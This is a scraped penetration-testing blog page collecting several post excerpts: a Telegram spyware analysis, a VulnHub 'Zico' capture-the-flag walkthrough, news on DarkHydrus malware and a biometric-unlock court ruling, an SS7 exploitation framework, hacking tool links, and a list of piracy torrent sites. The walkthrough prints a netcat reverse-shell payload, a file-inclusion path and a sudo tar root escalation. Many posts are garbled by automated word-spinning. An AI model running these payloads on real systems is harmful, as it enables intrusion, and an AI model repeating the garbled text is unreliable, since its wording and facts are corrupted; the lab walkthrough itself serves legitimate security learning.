hackerbrother

Learn Penetration Testing And Ethical Hacking Online.

facebook

  • Facebook
  • Popular Posts

    Analysis of a Win32/TelegramSpyBot infection

    Telegram SpyBot
    Telegram SpyBot
    Functions:



    - Anti Virtual Machine
    - Anti static analysis with the usage of crypted packer
    - Persistence autostart (CurrentVersion\Run) with faking lsass.exe binary
    - Camouflage process names
    - Send data to C2 via Telegram API (see C2 traffic))
    - Bot client can handle HTTPS (crypted) session
    - Clipboard capture (see decoded code)
    - Screenshot capture (see the C2 traffic)
    - Timer basis (see decoded code)
    - Fakes webapps process (w3wp.exe or aspnet_wp.exe)
    - For the c2 comm purpose: Decoding (base64) & decrypting (DES) activities, etc

    Components:
    Installer: 857faa89acdabc25969c21f340107742
    TelegramC2 Spybot: 61034e0f0da63307fb31310ae4e491b6

    In the wild spotted infection timeline:
    2019-01-26 02:10:04 France
    2019-01-25 08:39:45 Italy
    2019-01-13 13:01:20 Germany
    self-crypted










    The installer is packed with enigma packer, then also self-crypted
     enigma packer












    packer sig
    packer sig












    After depacked, which was a challenged task in radare2, the payload can be dumped, payload is a dot Net PE binary.


    The dot net is the Telegram C2 basis Trojan Spy. stealing memory(clipboard), screen capture etc from infected PC/machine, has timer, and every library in dot net supported to the functionality of the bot to connect via SSL to telegram by API.


    Anti VM to prevent behaviour test


    All traffic is in HTTPS (crypted)



    HTTPS Intercept result.

    More data in analysis and sample detail: pastebin . com/raw/BJYbhr35


    installer detection names


    the spybot detection names


    Just curious .. to check whether PeID sig is actually matched or not. Hmm..
    Continue Reading

    Zico on VulnHub


    12 March 2017

    Introduction

    My friends and I like to solve CTFs on our own, then teach each other how we solved it. This way, we get experience both teaching and learning, and you always understand material you need to explain to someone else better than if you kept it to yourself.

    Zico’s author rates the box as “intermediate,” but I’d call it “beginner plus.” The ideas needed to root the box are not complicated, but you need to have a bit of prior knowledge to know that you need to implement them.

    Shall we begin?

    1. Initial Scanning

    Since we are dealing with a VulnHub VM, we need to set it up on our HOST ONLY
    network. This box is intentionally vulnerable, why hook it up to your real network?

    Depending on how you’ve set up your host-only network, you may need to use nmap to determine the machine’s IP.

    nmap -sn 192.168.56.0/24
    a1

    Once you’ve found the box, it’s time to give it a real portscan.

    I like to use my benmap script, which runs a few scans and generates

    a working directory for the CTF. You can check it out on Github.


    a2_1





    a2_2











    The nmap -F scan found some potential avenues of attack:
    • SSH on port 22
    • HTTP on port 80
    • rpcbind on port 111

    HTTP is my favorite place to start on CTF’s, so we hit it with the

    triple threat: niktodirsearch and fimap
    nikto -h 192.168.56.101 -o nikto_result.txt

    a3


    Nikto tells us that Apache is a bit obsolete, but nothing else particularly interesting.

    Throw that on our “places to dig” list and let’s use dirsearch.
    dirsearch -u 'http://192.168.56.101' -e php,html,js,txt,sh --simple-report=dirsearch_quick

    a4


    We find a lot of interesting filenames, especially the dbadmin directory.

    Anything with “admin” in the title may be worth a look.

    Finally, we’ll let fimap see if we can dig anywhere we aren’t supposed to be able to.

    fimap -H -d 3 -u "http://192.168.56.101" -w /tmp/fimap_output | tee fimap_result

    a5a

    http://hostname/view.php?page=tools.html smells like file inclusion.

    The use of ?page= may allow us to directly view arbitrary files on the webserver. Instead of using tools.html as an argument, we just insert a file’s full path.
    I tried something like ../../../../etc/passwd, but didn’t find success. Maybe we can use this later.

    Lastly, we peruse the site in the browser.

    a5
    Zico’s Shop?
    Zico doesn’t seem confident that he is in control of his own site.

    Let’s prove that he is right to have doubts and go right for that /dbadmin page.

    a6

    What have we here?

    a7

    2. Doing Dirty Deeds in da Database


    A php database page, with an obvious version number. The title of “testdb” hints at a default setup.

    A default setup may use a default password.password: admin

    a8

    We’re inside.

    Those look like password hashes to me.

    Our friend Hashbuster should have a look at them.

    a9

    Not too shabby! Root and user passwords.

    I don’t think this db is actually used for anything other than testing, but there is a chance that the same passwords are used to login with SSH.
    a10 

    Nope.
    We can see some other useful information on the database page, however.

    For one, we are given the test_user database’s full file path.

    filepath

    This information, combined with the Local File Inclusion vulnerability we spotted earlier means we can access these databases by visiting a URL.

    We can try some tricks using SQL commands, but I wonder if

    these waters have been charted before…

    findsploit phpliteadmin

    a11


    • The very first hit matches our phpLiteAdmin version number.

      If you run searchsploit -x 24044, you’ll see a document explaining how the exploit is operated.

      We’ll break it down, step by step.

      Create a new database with a name ending in “.php”
      a13
    • Select this new database and create a new table with one field. a14
    • Set the field to the “Text” type, and enter a php-command payload as the Default Value.
      I decided to use my most reliable netcat-based reverse-shell.
    • &1|nc local.machine.ip.addr PORTNUM > /tmp/f"); ?>
    a15
    • Create the table, and set up the listener on your local machine.
    nc -lnvp PORTNUM

    a16 
    • Visiting the database in the browser, using our handy-dandy LFI vulnerability will run the payload and pop our shell.
    http://192.168.56.101/view.php?page=../../../../usr/databases/a.php

    a17

    3. From www-data to User

    This shell could use some improvement, so let’s see if we can’t spawn a bash shell with a tty using python.
    which python
    which bash
    python -c 'import pty;pty.spawn("/bin/bash")'
    a18 

    My “advanced” powers of deduction tell me that we are going to have a user named zico. A user with a home directory, even.

    Let’s verify.
    ls -la /home
    ls -la /home/zico 
    a19
    Luckily for us, Zico doesn’t seem to mind if we read files in his home directory.
    Talk about courteous!
    Zico seems to have even left a note behind for himself.
    Surely he won’t mind if we read that, too.
    cd /home/zico
    cat to_do.txt 
    a20 

    Zico seems to be trying out some content management systems for a new website.

    The site we got through in order to get this shell used phpliteadmin, so Wordpress must be next.

    We see Wordpress sites all the time in CTFs, and know it well enough to know where to look for the squishy bits.
    cd wordpress
    ls -l
    a21

    Zico hasn’t implemented this site yet, so it may not have been combed through for sensitive info.
    wp-config.php can often contain passwords.
    grep -i 'pass' wp-config.php

    a22 

    A database password, nice.

    Let’s try it with SSH, because, why not?

    a23

    4. From Zico to Root

    As the presumed owner of this box, Zico should be able to get some significant things done.
    sudo -l
    a24
    tar and zip are a bit strange to see as sudo-enabled commands. Can they be used for code execution?
    I searched online, and found some very interesting information at these two sites.

    tar can be run with flags that cause it to unarchive with “checkpoints.”

    At these points, the process will pause and take an action, then seamlessly resume.

    Since we can run tar as root, we just need to use these checkpoints to run some commands that escalate our privileges.


    Running Tar As Root For Fun and Profit

    Move to a “temporary” folder like /dev/shm and create a file that we will compress.
    Compress it with tar as Zico. No need to run as root just yet.


    a25 

    Unarchive the newly created .tar, making sure to use sudo and including the flags to add a checkpoint and commands.

    The commands will run along with the .tar command, so any output from the commands will appear in the terminal

    Our test payload is the (redundant) command echo $(id), which will output the info belonging to the user who ran the tar command to the terminal.

    If things go according to plan, we should see root’s info.

    sudo tar -xf archive.tar --checkpoint=1 --checkpoint-action=exec='echo $(id)'

    a26

    Our privesc concept is proven.

    We can just run /bin/bash as our checkpoint commands to spawn a root shell.
    sudo tar -xf archive.tar --checkpoint=1 --checkpoint-action=exec='/bin/bash'

    a27
    And, we’re root.

    Go to the /root directory and grab the flag.
    cd /root
    ls
    cat flag.txt

    a28 

    Post-Mortem

    This CTF was made purposefully made porous, but these vulnerabilities can be found in the real world.

    Here’s what made Zico rootable.
    Use of Default/Obvious Credentials
    • In this scenario, Zico’s phpLiteAdmin database was just for testing purposes. However, adminis simply not a password that should be in use. It’s just too easy to guess.
    • Had we not been able to gain access to the phpLiteAdmin panel, we may not have gotten any access at all.
    Local File Inclusion
    • Serving webpages with ?page= is a recipe for local file inclusion.
    • Only one page was intended to reached this way, and it wasn’t even the only link to this page on the site.
    Outdated Versions of 3rd Party Software
    • The phpLiteAdmin version used here isn’t even available for download from the phpLiteAdmin website.
    • The code injection vulnerability we used to run our php payload was patched away in later versions.
    Credential Reuse
    • The password by www-data in the wp-config.php file to access the website database was the same as the user’s password.
    Least Privilege Violations
    • www-data had unneccessary read access to zico’s home folder.
    • If zico isn’t a superuser, I’m not sure what reason they would need to have to run tar and zip as root.

    Thanks for reading!

    Continue Reading
    New malware found using Google Drive as its command-and-control server



    Since most security tools also keep an eye on the network traffic to observe malicious science addresses, attackers square measure more and more adopting infrastructure of legitimate services in their attacks to cover their malicious activities.


    Cybersecurity researchers have currently noticed a brand new malware attack campaign coupled to the disreputable DarkHydrus APT cluster that uses Google Drive as its command-and-control (C2) server.

    DarkHydrus 1st came to lightweight in August last year once the APT cluster was investment the ASCII text file Phishery tool to hold out credential-harvesting campaign against government entities and academic establishments within the geographical area.

    The latest malicious campaign conducted by the DarkHydrus APT cluster was additionally discovered against targets within the geographical area, per reports printed by the 360 Threat Intelligence Center (360TIC) and Palo Alto Networks.

    This time the advanced threat attackers square measure employing a new variant of their backdoor Trojan, referred to as RogueRobin, that infects victims’ computers by tricking them into gap a Microsoft stand out document containing embedded VBA macros, rather than exploiting any Windows zero-day vulnerability.

    Enabling the macro drops a malicious text (.txt) come in the temporary directory then leverages the legitimate ‘regsvr32.exe’ application to run it, eventually putting in the RogueRobin backdoor written in C# artificial language on the compromised system.
    According to Palo Alto researchers, RogueRobin includes several concealment functions to see whether or not it's dead within the sandbox surroundings, as well as checking for virtualized environments, low memory, processor counts, and customary analysis tools running on the system. It additionally contains anti-debug code.
    Like the original version, the new variant of RogueRobin additionally uses DNS tunneling—a technique of causation or retrieving knowledge and commands through DNS question packets—to communicate with its command-and-control server.

    However, researchers discovered that besides DNS tunneling, the malware has additionally been designed to use Google Drive ApIs as an alternate channel to send knowledge and receive commands from the hackers.
    "RogueRobin uploads a file to the Google Drive account and frequently checks the file’s modification time to examine if the actor has created any changes thereto. The actor can 1st modify the file to incorporate a singular symbol that the Trojan can use for future communications," Palo Alto researchers say. The new malware campaign suggests that the APT hacking teams square measure shifting additional towards abusing legitimate services for his or her command-and-control infrastructure to evade detection.
    It ought to be noted that since VBA macros could be a legitimate feature, most antivirus solutions don't flag any warning or block MS workplace documents with VBA code.
    The best thanks to shield yourself from such malware attacks is often to be suspicious of ANy uninvited document sent via an email and ne'er click on links within those documents unless properly confirming the supply.
    Continue Reading
    SigPloit - Telecom Signaling Exploitation Framework - SS7

    what is ss7 ?
    Signaling System seven (SS7) is a world telecommunications customary that defines however network components in a very public switched phonephone network (PSTN) exchange data over a digital sign network. Nodes in Associate in Nursing SS7 network ar known as sign points.

    SiGploit

    a sign security testing framework dedicated to medium Security professionals and reasearchers to pentest and exploit vulnerabilites within the sign protocols employed in mobile operators no matter the geneartion being in use. SiGploit aims to hide all used protocols employed in the operator's interconnects SS7,GTP (3G), Diameter (4G) or perhaps SIP for IMS and VoLTE infrastrucutres employed in the access layer. Recommendations for every vulnerability are provided to guide the tester and therefore the operator the steps that ought to be done to boost their security posture

    SiGploit is developed on several versions



    Version 1: SS7
    SigPloit can begin} start with SS7 vulnerabilities providing the messages wont to check the below offensive eventualities

    A- Location tracking
    B- call and SMS Interception
    C- Fraud
    Version 2: GTP
    This Version can target the info roaming attacks that occur on the IPX/GRX interconnects.

    Version 3: Diameter

    This Version can target the attacks occurring on the LTE roaming interconnects exploitation Diameter because the signal protocol.

    Version 4: SIP
    This is Version are involved with SIP because the signal protocol utilized in the access layer for voice LTE(VoLTE) and IMS infrastructure. Also, SIP are accustomed encapsulate SS7 messages (ISUP) to be relayed over VoIP suppliers to SS7 networks taking advantage of SIP-T protocol, a protocol extension for SIP to supply intercompatability between VoIP and SS7 networks

    Version 5: reportage


    This last Version can introduce the news feature. A comprehensive report with the tests done at the side of the recommendations provided for every vulnerability that has been exploited.




    BETA Version of SigPloit can have the situation following attacks of the SS7 part one

    Installation and necessities

    The requirements for this project are:
    1) Python 2.7
    2) Java version 1.7 +
    3) sudo apt-get install lksctp-tools
    4) Linux machine
    To run use
    cd SigPloit
    sudo pip2 install -r requirements.txt
    python sigploit.py
    Continue Reading
    Torrents web site is back




    Good news, the new Kickass Torrents web site is back.

    Back in Gregorian calendar month 2017, widespread BitTorrent web site Kickass Torrents (KAT cr) was taken down by the us authorities.

    The peer to see file sharing web site became the world's biggest piracy hub once The Pirate Bay went offline.

    Now shortly once enforcement stop working the first khat web site, a gaggle of devoted web site staffers launched the Katcr.co forum in hopes of transportation back the Kickass Torrent transfer sites to its former glory, soon.

    New KickAss Torrents web site 2019

    Katcr.co team has currently launched a replacement torrent {website|web web site} that appears similar to the first Kickass site. It hosts a decent variety of torrent files and magnet links for movies torrent, TV shows, software, games, and music torrent.
    The new Kickass torrents web site (KATcr.co/new) is back on-line with a number of its original workers and dedicated uploaders.

    Here's what the khat atomic number 24 team aforementioned on the site’s launch:

    "We have all our major uploaders on board, and that they continuing to share inexhaustibly even before the torrent engines came back. The torrent community will still expect to visualize uploads from all the names they apprehend and trust." in the meantime, Australian ISPs has blocked access to five prime torrent transfer webites, as well as Pirate Bay and Isohunt.

    Following the termination of the first Kickass Torrents portal earlier this year, many mirror sites came up on-line, claiming to be the $64000 reincarnation.

    Here below I even have listed a couple of KickAss proxy sites:
    https://katcr.co
    https://kickass.cd/
    https://kat.am
    http://kickasstorrent.cr

    But several of these KickassTorrents proxy and mirrors embody malicious copycats. Such sites commit to steal users personal data and mastercard credentials.

    The team behind the new Kickass web site guarantees that the pirates square measure safe and secure at its new portal.

    "To keep our members safe, we have a tendency to selected to build and keep solely safe parts. Despite the actual fact that a build took longer, the protection of our community comes 1st," one amongst the team members told TorrentFreak. The khat atomic number 24 crew members additionally believe that the first operators of the Kickass Torrents web site can walk free.

    Best Torrent Sites just like the New KickAss Torrents

    TorLock – torlock.com

    The Pirate Bay – thepiratebay.org

    iDope – idope.se

    1337x – 1337x.to

    Yify Torrent / YTS – yts.am
    ExtraTorrent – extratorrent.si
    LimeTorrents – limetorrents.io
    Zooqle – zooqle.com

    Dirty Torrents – dirtytorrents.com

    Besides khat atomic number 24, on-line users have found some best KickAssTorrent alternatives.

    Though we have a tendency to don't support any act of infringement, here square measure some best alternatives individuals sharing over social media:

    1. The Pirate Bay — thepiratebay.org

    Among the simplest KickAss Torrent alternatives is that the PirateBay. however over infringement, several ISPs have blocked it and its mirror domains.

    However, users still access the web site employing a VPN service or a proxy to bypass service suppliers restrictions.

    The PirateBay is one amongst the simplest torrent program used worldwide. TPB includes pirated material within the kind of magnet links for package, movies, and music.

    2. 1337x — 1337x.to

    If you like sites like piratebay and kickass, 1337x would be your go-to torrent transfer web site.

    The peer to see file sharing web site has been around for an extended time that produces it a reliable and distinguished. similar to KickAssTorrent, 1337x offers an easy, easy search bar with no advanced style.

    You can additionally search torrent files and magnet links by classes. otherwise you will head on to its prime a hundred section for many trending torrents on the web site.

    3. TorLock — torlock.com

    TorLock is one amongst the simplest torrenting sites that permits users to transfer high-quality torrent files and magnet links.

    Torlock could be a distinctive moving picture transfer web site that provides music, games, software, the most recent TV series, and flicks at no cost.

    With "No Fakes Torrent Site" as its official slogan, Torlock is devoted to listing 100% verified torrents solely. the location even challenges users to search out faux torrents and find a compensation of $1 for every finding.

    4. iDope — idope.se

    This is a replacement torrent and moving picture transfer web site. It permits you to get something you rummage around for however additionally claims ne'er to trace its guests. iDope is a superb different to kickass torrent.

    The iDope homepage includes not rather more than a torrent skilled worker bar with a tagline: "A tribute to KickassTorrents." iDope even incorporates a Chrome plugin Associate in Nursingd an mechanical man app. The service is additionally offered on the darknet.

    5. Yify Torrent / YTS — yts.am


    Also called the YTS torrent hunter, this web site is yet one more best KickAss Torrents different. i'm positive all the moving picture lovers square measure awake to YTS movies. however this is often not the first YIFY torrent web site to transfer YIFY movies.

    The original web site went dark once its leader pleaded guilty in New Zealand Jurisprudence. YTS.am is a superb the image of the first web site. however you wish to watch out for different faux torrent sites promoting itself as YTS.

    6. ExtraTorrent — extratorrent.si
    Among these, ExtraTorrent is additionally a superb different to KickAss.

    ExtraTorrent was once the foremost widespread and best torrent sites. however the location disappeared on could seventeen, 2017, with a message of stop working on its web site. ExtraTorrent has currently created a comeback with a replacement domain.

    Since government keeps an in depth eye on BitTorrent protocol, users like proxy sites before of their torrent purchasers to cover scientific discipline address and access kickass.

    But you must note that there's no legal thanks to transfer movies at no cost that square measure still in theaters.

    You should strive legal ways in which to look at high-quality movies on-line. Here could be a separate article we've listed prime free moving picture transfer sites that provides a quite smart assortment of videos
    Continue Reading
    police can't force you to unlock your smartphone

    Being forced by police to unlock your smartphone together with your face or fingerprint is prohibited, a Calif. decide recently dominated.
    face or fingerprint is prohibited



    A Northern California decide has dominated that federal authorities cannot force you to unlock your smartphone victimization your fingerprints or different biometric options like facial recognition—even with a warrant.


    The ruling came within the case of 2 unspecified suspects allegedly victimization Facebook courier to threaten a person with the discharge of AN "embarrassing video" to the general public if he didn't reach cash.

    The federal authorities requested a quest warrant for AN port residence, seeking to seize multiple devices connected to the suspects then compel anybody on the premises at the time of their visit to unlock the devices victimization fingerprint, facial or iris recognition.

    However, judge decide Kandis Westmore of the U.S. District Court for the Northern District of American state turned down the request, ruling the request was "overbroad and neither restricted to a selected person nor device.
    "The Government can't be allowable to look Associate in Nursingd seize a portable or alternative devices that square measure on a non-suspect's person just because they're gift throughout an otherwise lawful search," the decide wrote in her ruling shared by Forbes."



    Even though the feds aren't allowed to force a suspect to unlock their devices victimization their PIN or alphamerical passcode, U.S. judges have antecedently dominated that protection didn't apply to biometric options.


    However, Westmore aforementioned forcing suspects to unlock their devices victimization identity verification "runs tangled of the Fourth and Fifth Amendments" of the United States of America constitution, that defend individuals against unreasonable searches and incrimination, severally.


    The court equated biometric authentications like bit ID and Face ID to a PIN or passcode instead of one thing like submitting to a polymer swab as a result of those body options serve an equivalent purpose as a passcode that secures the owner's content.


    The court ruling conjointly created a remarkable purpose over the Government's urgency in forcing suspects to unlock their devices victimization the biometric options so as to bypass the necessity to enter a passcode.






    It's as a result of once a tool is fastened employing a passcode, the govt cannot compel a suspect to enter the passcode beneath the present jurisprudence.


    "If someone can't be compelled to supply a passcode as a result of it's a testimonial communication, someone can't be compelled to supply one's finger, thumb, iris, face, or alternative biometric feature to unlock that very same device," the decide wrote.


    It whole is smart, as a result of if passcode and PIN square measure protected, then identity verification strategies mustn't be thought-about any totally different.


    Instead of forcing individuals to unlock their devices found throughout the raid, Westmore wrote the govt will use alternative ways that to lawfully access contents of a confiscate smartphone within the Facebook extortion case, like asking Facebook to supply traveller conversations.


    The American state court's recent ruling came as a possible landmark call to safeguard people's personal lives from government searches and will doubtless create a control on future cases like this, pro
    Continue Reading
    top 5 Web_Server_Exploitation for penetration testers

    1. Arachni - Web Application Security Scanner Framework

    Arachni could be a feature-full, modular, superior Ruby framework aimed towards serving to penetration testers and directors valuate the protection of net applications.

    It is sensible, it trains itself by watching and learning from the net application's behavior throughout the scan method and is ready to perform meta-analysis employing a range of things in order to properly assess the trustiness of results and showing intelligence determine (or avoid) false-positives.

    Unlike different scanners, it takes under consideration the dynamic nature of net applications, will observe changes caused whereas traveling through the ways of an online application’s cyclomatic complexness and is able to adjust itself accordingly. This way, attack/input vectors that might rather be undetectable by non-humans may be handled seamlessly.

    Moreover, because of its integrated browser surroundings, it can even audit and examine client-side code, additionally as support extremely difficult net applications that create serious use of technologies such as JavaScript, HTML5, DOM manipulation and AJAX.

    Finally, it's versatile enough to hide a good deal of use cases, starting from a straightforward command scanner utility, to a world high performance grid of scanners, to a Ruby library allowing scripted audits, to a multi-user multi-scan net collaboration platform.

    Note: Despite the actual fact that Arachni is generally targeted towards net application security, it will simply be used for general purpose scraping, data-mining, etc. with the addition of custom components.
    Features
    • Cookie-jar/cookie-string support.
    • Custom header support.
    • SSL support with fine-grained options.
    • User Agent spoofing.
    • Proxy support for SOCKS4, SOCKS4A, SOCKS5, HTTP/1.1 and HTTP/1.0.
    • Proxy authentication.
    • Site authentication (SSL-based, form-based, Cookie-Jar, Basic-Digest, NTLMv1, Kerberos and others).
    • Automatic log-out detection and re-login throughout the scan (when the initial login was performed via the autologin, login_script or proxy plugins).
    • Custom 404 page detection.
    • UI abstraction:
    • Command-line Interface.
    • Web User Interface.
    • Pause/resume functionality.
    • Hibernation support -- Suspend to and restore from disk.
    • High performance asynchronous HTTP requests.
    • With adjustable concurrency.
    • With the power to auto-detect server health and change its concurrency mechanically.
    • Support for custom default input values, exploitation pairs of patterns (to be matched against input names) and values to be wont to fill in matching inputs.

    you can download  here :- https://shrtz.me/FJRxIVP

    2  ATSCAN SCANNER

    ATSCAN could be a security tool to perform a mass exploitation scan on search engines. It discovers targets which will be at risk of exploitation.


    ★ Description:
    Search engine: Google/Bing/Ask/Yandex/Sogou/Exalead

    ● Mass Dork Search

    ● Multiple instant scans.

    ● Mass Exploitation

    ● Use proxy.

    ● Random user agent.

    ● Random engine.

    ● Mass Extern commands execution.

    ● Exploits and issues search.

    ● Filter wordpress and Joomla sites.

    ● Find Admin page.

    ● Decode / Encode Base64 / MD5

    ● Ports scan.

    ● Collect IPs

    ● Collect E-mails.

    ● Auto detect errors.

    ● Auto detect Cms.

    ● Post data.

    ● Auto sequence repeater.

    ● Validation.

    ● Post and Get method

    ● Issues and Exploit search

    ● Interactive and Normal interface.

    ● And more...

    you can download  here :-https://github.com/AlisamTechnology/ATSCAN.git

    3 BinGoo

    It is an all-in-one Dorking tool written in pure bash. It leverages Google AND Bing main search pages to scrape an outsized quantity of links supported provided search terms. will you'll you'll be able to value more highly to search one jerk at a time otherwise you can create lists with one jerk per line and perform mass scans. Once your through with that, or even you have got links gathered from alternative means that, you'll move to the Analyzing tools to check for common signs of vulnerabilities.
    The results ar showing neatness sorted into their own several files basedon findings. If you would like to require more will|you'll|you'll be able to} run them through the SQL or LFI tools that ar some semi operating homebrewed creations it's created in bash otherwise you can use the SQLMAP and FIMAP wrapper tools They wrote that work far better and with bigger accuracy and results.


    you can download  here :- https://github.com/Hood3dRob1n/BinGoo.git

    Commix
    Commix (short for command injection e[x]ploiter) is an automated tool written by Anastasios Stasinopoulos (@ancst) that can be used from web developers, penetration testers or even security researchers in order to test web-based applications with the read to seek out bugs, errors or vulnerabilities associated with command injection attacks. By mistreatment this tool, it's terribly straightforward to seek out and exploit a command injection vulnerability in a very bound vulnerable parameter or protocol header.

    you can download  here :- https://github.com/commixproject/commix.git

    Dawnscanner
    dawnscanner could be a source code scanner designed to review your ruby code for security problems.
    dawnscanner is ready to scan plain ruby scripts ( command line applications) however all its options ar unleashed once coping with internet applications source code. dawnscanner is ready to scan major MVC (Model read Controller) frameworks, out of the box:

    you can download  here :- https://github.com/thesp0nge/dawnscanner.git




















    Continue Reading